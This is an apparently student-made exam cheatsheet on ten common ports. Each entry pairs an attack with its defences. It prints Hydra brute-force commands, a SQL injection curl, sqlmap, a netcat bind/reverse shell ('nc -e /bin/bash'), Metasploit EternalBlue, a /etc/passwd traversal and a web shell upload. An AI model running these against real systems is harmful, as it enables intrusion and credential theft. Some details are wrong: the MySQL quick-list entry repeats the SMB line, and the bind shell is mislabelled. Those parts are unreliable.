10 MOST
COMMON PORTS
CHEATSHEET
WITH PROTOCOL PORT NUMBER AND
COMMMAND BY WHICH ACCES TO SYSTEM WITH DEFINE

FTP

SSH

TELNET

SMPT

HTTP

BLID SHELL

MySQL

VNC

SMB

Tomcat

FOR LEARNING ONLY

1. FTP (Port 21)

Common Attack: Brute Force Attack

Description: FTP (File Transfer Protocol) transfers data in plaintext, making it vulnerable to interception.

-Exploited By: Attackers use **brute force** to guess weak usernames and passwords.

-Common Tools: Hydra, Medusa

Command Example:

```
hydra -l username -P /path/to/passwordlist ftp://target_ip
```

-Protection: Use SFTP or FTPS for encryption, and set strong passwords.

2.SSH (Port 22)

Common Attack: Brute Force / Dictionary Attack

Description: SSH (Secure Shell) is used for secure remote login. Weak passwords or default credentials can make it vulnerable to brute force attacks.

Exploited By: Attackers attempt to guess passwords or use known password lists.

Common Tools: Hydra, Medusa

Command Example:

```
hydra -l root -P /path/to/wordlist ssh://target_ip
```

-Protection: Disable root login, use “key-based authentication” instead of passwords, and “fail2ban” to block repeated failed login attempts.

3. Telnet (Port 23)

Common Attack: Password Sniffing / Brute Force

Description: Telnet sends data, including passwords, in plaintext over the network, making it vulnerable to interception.

Exploited By: Attackers capture login credentials using packet sniffing tools, or guess weak passwords via brute force.

Common Tools: Wireshark (for packet sniffing), Hydra (for brute force)

Command Example:

```
telnet target_ip
```

Protection: Disable Telnet and use SSH for encrypted communication instead.

4.SMTP (Port 25)

Common Attack: Open Relay Exploitation / Spam

Description: SMTP (Simple Mail Transfer Protocol) is used for email delivery. If configured as an open relay, attackers can send unauthorized emails through the server.

Exploited By: Attackers abuse the open relay to send spam or phishing emails.

Common Tools: Telnet, netcat

Command Example:

```
telnet target_ip 25
```

Protection: Ensure SMTP requires authentication to send emails and block **open relays**.

5. HTTP (Port 80)

Common Attack: SQL Injection / XSS / Remote Code Execution

Descriptio:n HTTP (Hypertext Transfer Protocol) is used by web servers to deliver websites. Vulnerable web applications can be exploited via SQL injection, Cross-Site Scripting (XSS), or Remote Code Execution (RCE).

Exploited By: Attackers inject malicious code into web forms, or exploit unpatched vulnerabilities in web applications.

Common Tools: Burp Suite, SQLmap, Nikto

Command Example:

```
curl -X GET "http://target_ip/vulnerable_page?id=1' OR '1'='1'"
```

Protection: Regularly patch web applications, use web application firewalls (WAFs), and validate user inputs to prevent SQL Injection and XSS.

6. Bind Shell (Port 1524)

Common Attack: Backdoor Access

-Description: A bind shell is a type of remote access tool (RAT) where the attacker binds a shell (command-line interface) to a port, allowing them to connect to the system remotely.

Exploited By: Attackers exploit vulnerabilities in services or applications (like misconfigurations or buffer overflow vulnerabilities) to establish a bind shell on a target system. Once connected to the port, attackers can execute commands as if they were physically present.

Common Tools: Netcat, Metasploit

Command Example (Attack Side):

```
nc -lvp 1524  # Listen for incoming connection on port 1524
```

On Target (if compromised): **nc -e /bin/bash target_ip 1524 # Open a connection to the attacker's machine**

Protection:

- Use firewalls to block unnecessary incoming ports.

- Regularly patch systems to prevent exploitation of known vulnerabilities.

- Employ IDS/IPS systems to detect suspicious behavior, like connections on unusual ports.

- Avoid running untrusted code or services that might allow unauthorized access.

7. MySQL (Port 3306)

Common Attack: SQL Injection / Brute Force / Misconfigurations

Description: MySQL is a widely used database service, and **port 3306** is its default port. If MySQL is exposed to the internet without proper protection, attackers can exploit weak passwords or misconfigurations to gain access.

Exploited By:

SQL Injection attacks in web applications (e.g., injecting malicious SQL commands to access or manipulate the database).

Brute-force attacks on MySQL accounts (guessing weak or default credentials).

Misconfigurations, such as MySQL being configured to allow remote root access.

Common Tools: Hydra (for brute force), SQLmap (for SQL injection)

Command Example (SQL Injection via Web Application):

```
sqlmap -u "http://target_ip/vulnerable_page?id=1" --dbs  # Retrieve databases
```

Protection:

- Disable remote root access in MySQL by editing the configuration file (`/etc/mysql/my.cnf`) and setting `bind-address` to `127.0.0.1`.
- Use strong, complex passwords for MySQL accounts.
- Implement firewall rules to only allow trusted IPs to connect to the MySQL port.
- Regularly patch MySQL and the underlying operating system.
- Use parameterized queries in web applications to prevent SQL injection.

8. VNC (Port 5900)

Common Attack: Brute Force / Unauthorized Access / Man-in-the-Middle**

Description: VNC (Virtual Network Computing) allows remote desktop access to systems. If VNC is exposed to the internet, attackers can attempt to gain access using **brute-force** attacks on VNC passwords or exploit weak configurations.

Exploited By:

Brute-force attacks against weak or default VNC passwords.

Man-in-the-middle (MITM) attacks** if VNC is not encrypted, allowing attackers to intercept and potentially modify the session.

Common Tools: Hydra (for brute force), VNCScan (for scanning)

Command Example (Brute Force Attack):

```
hydra -l user -P /path/to/wordlist vnc://target_ip:5900
```

potection:

Use strong passwords for VNC authentication.

Restrict VNC access by IP using firewall rules (only allow trusted IPs).

Encrypt VNC traffic (e.g., use **SSH tunneling** or enable built-in VNC encryption).

Limit access to VNC, allowing it only for necessary use cases, and disable it when not in use.

Avoid exposing VNC directly to the internet; use VPNs or secure tunnels.

9. SMB (Ports 445 & 139)

Common Attack:Exploitation of SMB Vulnerabilities (e.g., EternalBlue), Brute Force, Information Disclosure

Description:SMB (Server Message Block) is a protocol used for sharing files, printers, and other resources over a network. **Port 445** is used for direct hosting of SMB, while Port 139 is used by NetBIOS over TCP/IP, a legacy protocol still found in some networks.

Exploited By:

EternalBlue (MS17-010): A well-known SMB vulnerability that allowed attackers to execute remote code on vulnerable Windows machines. This was famously used in the **WannaCry** ransomware attack.

Brute force on SMB shares with weak or default passwords.

Information Disclosure: Attackers can gain information about the system via poorly secured or improperly configured shares.

Common Tools: Metasploit, Nmap, Hydra, SMBclient, CrackMapExec

Command Example (EternalBlue with Metasploit):

```
use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS target_ip   run
```

Command Example (Brute Force SMB Login with Hydra):

```
hydra -l username -P /path/to/passwordlist smb://target_ip
```

Protection:

Disable SMBv1 on all systems. Use SMBv2 or SMBv3, which are more secure.

Apply security patches (e.g., MS17-010) and regularly update systems to mitigate known vulnerabilities.

Use strong, unique passwords for SMB shares and disable guest accounts.

Limit SMB traffic by using firewalls to block unnecessary SMB connections, particularly from untrusted networks.

Employ network segmentation to restrict access to critical systems via SMB.

Enable account lockout policies to prevent brute force attacks.

10. Tomcat (Port 8180)

Common Attack: Directory Traversal, Remote Code Execution, Unauthorized Access

Description: Apache Tomcat is a popular open-source web server and servlet container used to run Java web applications. By default, Tomcat listens on **Port 8180** for HTTP traffic (though it's often configured to run on **Port 8080** as well).

Exploited by:

Directory Traversal: Attackers can exploit unpatched vulnerabilities in Tomcat to access sensitive files or directories outside the web root.

Remote Code Execution (RCE): If an attacker can upload a malicious **web shell** or manipulate an application, they may be able to execute arbitrary commands on the server.

Default Credentials: Many Tomcat servers are left with the default administrator username (`admin`) and password (`admin`).

Unpatched Vulnerabilities: Older versions of Tomcat may have vulnerabilities such as insecure configurations or weak authentication.

Common Tools: Burp Suite, Metasploit, Gobuster, Nikto Command

Example (Exploit Directory Traversal in Tomcat):

```
curl "http://target_ip:8180/../../../../etc/passwd"  # Try to access sensitive files
```

Command Example (Web Shell Upload/Remote Code Execution):

```
curl
-F "file=@/path/to/shell.jsp" http://target_ip:8180/upload/
```

Protection:

Disable or Restrict Access to the Manager App: The Tomcat Manager should only be accessible from trusted IPs. Disable it if it's not required, or limit its access using IP whitelisting.

Regularly patch Tomcat and the underlying operating system to avoid known vulnerabilities.

Change default credentials and implement strong authentication mechanisms for Tomcat's administrative interfaces.

Use proper input validation and sanitize user inputs to prevent directory traversal and other injection attacks.

Secure Java Applications by disabling features that are not needed, e.g., file uploads or shell execution.

- Ensure secure file permissions and logging for web applications to detect unauthorized activity.

Summary ofpoints to remember for exam:

-**FTP (Port 21):** Use SFTP or FTPS for secure file transfers.

-**SSH (Port 22):** Use key-based authentication, disable root login, and monitor login attempts.

-**Telnet (Port 23**): Avoid using Telnet; use SSH instead for secure communication.

-**SMTP (Port 25**): Always authenticate SMTP sessions and block open relays.

-HTTP (Port 80): Secure web applications against SQL Injection, XSS, and RCE; use HTTPS.

Summary of Protection Methods:

- Use strong, unique passwords on all services.

- Encrypt communication using SSH, SFTP, or HTTPS.

- Regularly patch and update software to fix known vulnerabilities.

- Use firewalls and intrusion detection/prevention systems (IDS/IPS) to monitor traffic.

- Employ multi-factor authentication (MFA) where possible.

- **Bind Shell (Port 1524):**

-Use firewalls to block incoming connections on unused ports. Regularly audit services and patch vulnerabilities.

- **MySQL (Port 3306):**

-Disable remote root access, use strong passwords, restrict access to trusted IPs, and secure web applications against SQL injection.

- **VNC (Port 5900):**

-Use strong authentication, firewall rules to limit access, encrypt VNC traffic, and avoid exposing VNC directly to the internet.

- **SMB (Ports 445 & 139):**

- Disable SMBv1 and use SMBv2 or SMBv3.

- Apply patches to prevent exploitation of vulnerabilities (e.g., EternalBlue).

- Use strong passwords and disable guest access.

- Implement firewalls and network segmentation.

- **Tomcat (Port 8180):**

- Disable default Tomcat Manager if not needed and restrict access to trusted IPs.

- Patch regularly to address vulnerabilities.

- Use strong authentication for administrative interfaces.

- Sanitize inputs to prevent directory traversal and injection attacks.

- Limit file upload capabilities and properly configure file permissions.

ONLY PROTOCOL AND COMMAND WITH PORT NUMBER

1. FTP (Port 21)

- Command: **hydra -l username -P /path/to/passwordlist**

ftp://target_ip

2. SSH (Port 22)

- Command: **hydra -l root -P /path/to/wordlist**

ssh://target_ip

3. Telnet (Port 23)

- Command: **telnet**

target_ip **4. SMTP**

(Port 25)

- Command: **telnet target_ip 25** **5.**

HTTP (Port 80)

- Command: **curl -X GET**

"http://target_ip/vulnerable_page?id=1'

OR '1'='1'"

6. Bind Shell (Port 1524)

- Command:

nc -lvp 1524

7. MySQL (Port 3306)

- Command:

```
hydra -l username -P /path/to/passwordlist smb://target_ip
```

8. VNC (Port 5900)

- Command:

```
hydra -l user -P /path/to/wordlist vnc://target_ip:5900
```

9. SMB (Ports 445 & 139)

- Command:

```
hydra -l username -P /path/to/passwordlist smb://target_ip
```

10. Tomcat (Port 8180)

- Command:

```
curl "http://target_ip:8180/../../../../etc/passwd"
```